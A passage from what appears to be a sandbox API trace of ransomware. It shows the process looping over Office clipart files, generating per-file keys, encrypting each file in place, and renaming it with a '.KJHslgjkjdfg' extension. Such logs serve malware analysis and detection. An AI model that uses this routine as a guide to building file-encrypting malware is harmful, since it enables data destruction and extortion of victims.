"c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.kjhslgjkjdfg")) returned 1 [0187.598] CloseHandle (hObject=0x130) returned 1 [0187.598] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0187.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.600] GetProcessHeap () returned 0x990000 [0187.600] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.600] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.600] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.600] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0187.602] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.602] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.603] GetProcessHeap () returned 0x990000 [0187.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.603] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.603] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.603] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.603] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.603] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.603] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.603] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.603] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.603] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.604] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x752, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x752, lpOverlapped=0x0) returned 1 [0187.604] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x760, dwBufLen=0x760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x760) returned 1 [0187.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.604] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x760, lpOverlapped=0x0) returned 1 [0187.604] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.604] SetEndOfFile (hFile=0x130) returned 1 [0187.607] GetProcessHeap () returned 0x990000 [0187.607] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.607] GetProcessHeap () returned 0x990000 [0187.607] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.607] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.kjhslgjkjdfg")) returned 1 [0187.608] CloseHandle (hObject=0x130) returned 1 [0187.608] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0187.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.609] GetProcessHeap () returned 0x990000 [0187.609] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.609] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.609] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.611] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.611] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.611] GetProcessHeap () returned 0x990000 [0187.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.611] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.611] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.611] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.611] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.612] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.612] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.612] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.612] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.613] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.613] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf6c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf6c, lpOverlapped=0x0) returned 1 [0187.613] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf70, dwBufLen=0xf70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf70) returned 1 [0187.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.613] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf70, lpOverlapped=0x0) returned 1 [0187.613] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.613] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.613] SetEndOfFile (hFile=0x130) returned 1 [0187.616] GetProcessHeap () returned 0x990000 [0187.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.616] GetProcessHeap () returned 0x990000 [0187.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.kjhslgjkjdfg")) returned 1 [0187.617] CloseHandle (hObject=0x130) returned 1 [0187.617] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0187.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.618] GetProcessHeap () returned 0x990000 [0187.618] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.618] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.618] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0187.620] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.620] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.620] GetProcessHeap () returned 0x990000 [0187.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.620] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.620] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.620] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.620] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.621] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.621] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.621] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.621] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.621] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.621] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.621] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x292a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x292a, lpOverlapped=0x0) returned 1 [0187.622] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2930, dwBufLen=0x2930 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2930) returned 1 [0187.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.622] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2930, lpOverlapped=0x0) returned 1 [0187.622] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.623] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.623] SetEndOfFile (hFile=0x130) returned 1 [0187.625] GetProcessHeap () returned 0x990000 [0187.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.626] GetProcessHeap () returned 0x990000 [0187.626] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.kjhslgjkjdfg")) returned 1 [0187.627] CloseHandle (hObject=0x130) returned 1 [0187.627] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0187.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.627] GetProcessHeap () returned 0x990000 [0187.627] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.627] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.627] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.630] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.630] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.630] GetProcessHeap () returned 0x990000 [0187.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.630] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.630] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.630] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.630] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.630] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.630] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.630] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.630] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.630] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.630] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.631] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.631] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x108c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x108c, lpOverlapped=0x0) returned 1 [0187.632] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1090, dwBufLen=0x1090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1090) returned 1 [0187.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.632] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1090, lpOverlapped=0x0) returned 1 [0187.632] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.632] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.632] SetEndOfFile (hFile=0x130) returned 1 [0187.635] GetProcessHeap () returned 0x990000 [0187.635] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.635] GetProcessHeap () returned 0x990000 [0187.635] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.kjhslgjkjdfg")) returned 1 [0187.636] CloseHandle (hObject=0x130) returned 1 [0187.636] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0187.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.636] GetProcessHeap () returned 0x990000 [0187.637] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.637] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 